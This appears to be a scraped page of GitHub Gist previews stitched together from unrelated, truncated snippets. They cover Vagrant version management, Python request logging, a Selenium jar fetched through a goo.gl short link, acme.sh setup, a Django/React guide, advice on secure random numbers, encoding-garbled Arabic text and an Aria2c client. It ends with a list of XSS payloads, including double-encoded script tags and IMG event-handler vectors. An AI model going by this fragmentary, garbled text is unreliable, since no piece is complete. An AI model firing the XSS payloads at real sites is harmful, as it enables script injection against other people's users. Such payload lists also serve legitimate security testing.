by Ossi Hanhinen, @ohanhi
with the support of Futurice ๐.
Licensed under CC BY 4.0.
Vagrant doesn't make it easy to manage multiple versions of it. I was lucky enough to ended up working on a project whose vagrant up only works with the legacy Vagrant 1.4 and another one that only works with newer versions. I'll explain here how I managed to keep both. In this case I'll install Vagrant 1.4.3 and 1.7.4 (the newest as of now), but in principle it should work with other versions as well.
Vagrant 1.4.3 doesn't work with newer versions of VirtualBox (>4.3). During this experiment I messed up all my installations several times, so I'm installing everything from scratch (just go to the download page, download the dmg and run the pkg installer normally).
| import requests | |
| import logging | |
| import httplib | |
| # Debug logging | |
| httplib.HTTPConnection.debuglevel = 1 | |
| logging.basicConfig() | |
| logging.getLogger().setLevel(logging.DEBUG) | |
| req_log = logging.getLogger('requests.packages.urllib3') | |
| req_log.setLevel(logging.DEBUG) |
$ mkdir ~/selenium
$ cd ~/selenium
$ wget http://goo.gl/rQhaxb
$ mv selenium-server-standalone-2.49.1.jar ~/selenium/| # How to use "acme.sh" to set up Lets Encrypt without root permissions | |
| # See https://github.com/Neilpang/acme.sh for more | |
| # This assumes that your website has a webroot at "/var/www/<domain>" | |
| # I'll use the domain "EXAMPLE.com" as an example | |
| # When this is done, there will be an "acme" user that handles issuing, | |
| # updating, and installing certificates. This account will have the following | |
| # (fairly minimal) permissions: | |
| # - Host files at http://EXAMPLE.com/.well-known/acme-challenge |
Hopefully this will answer "How do I setup or start a Django project using REST Framework and ReactJS?"
This is a guide to show you step by step how this can be setup. If you just want to get started, use the cookiecuter I set up cookiecutter-django-reactjs. It basically is a fork of pydanny's cookiecutter, just added the front-end stuff :).
I created this because it was SUCH a pain in the ass setting up a project using all the latest technologies. After some research, I figured it out and have it working. The repo that implements this is located here. Feel free to use it as a boilerplate ;)
Main features:
Not all random values are created equal - for security-related code, you need a specific kind of random value.
A summary of this article, if you don't want to read the entire thing:
Math.random(). There are extremely few cases where Math.random() is the right answer. Don't use it, unless you've read this entire article, and determined that it's necessary for your case.crypto.getRandomBytes directly. While it's a CSPRNG, it's easy to bias the result when 'transforming' it, such that the output becomes more predictable.uuid, specifically the uuid.v4() method. Avoid node-uuid - it's not the same package, and doesn't produce reliably secure random values.random-number-csprng.You should seriously consider reading the entire article, though - it's
| ุงูุฑููุญูู ููู | |
| ุงูุฑููุญููู ู | |
| ุงููู ููููู | |
| ุงููููุฏูููุณู | |
| ุงูุณูููุงูู ู | |
| ุงููู ูุคูู ููู | |
| ุงููู ูููููู ููู | |
| ุงููุนูุฒููุฒู | |
| ุงููุฌูุจููุงุฑู | |
| ุงููู ูุชูููุจููุฑู |
| import json | |
| import requests | |
| class Aria2c: | |
| ''' | |
| Example : | |
| client = Aria2c('localhost', '6800') | |
| # print server version |
| %253Cscript%253Ealert('XSS')%253C%252Fscript%253E | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))"> | |
| <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))"> |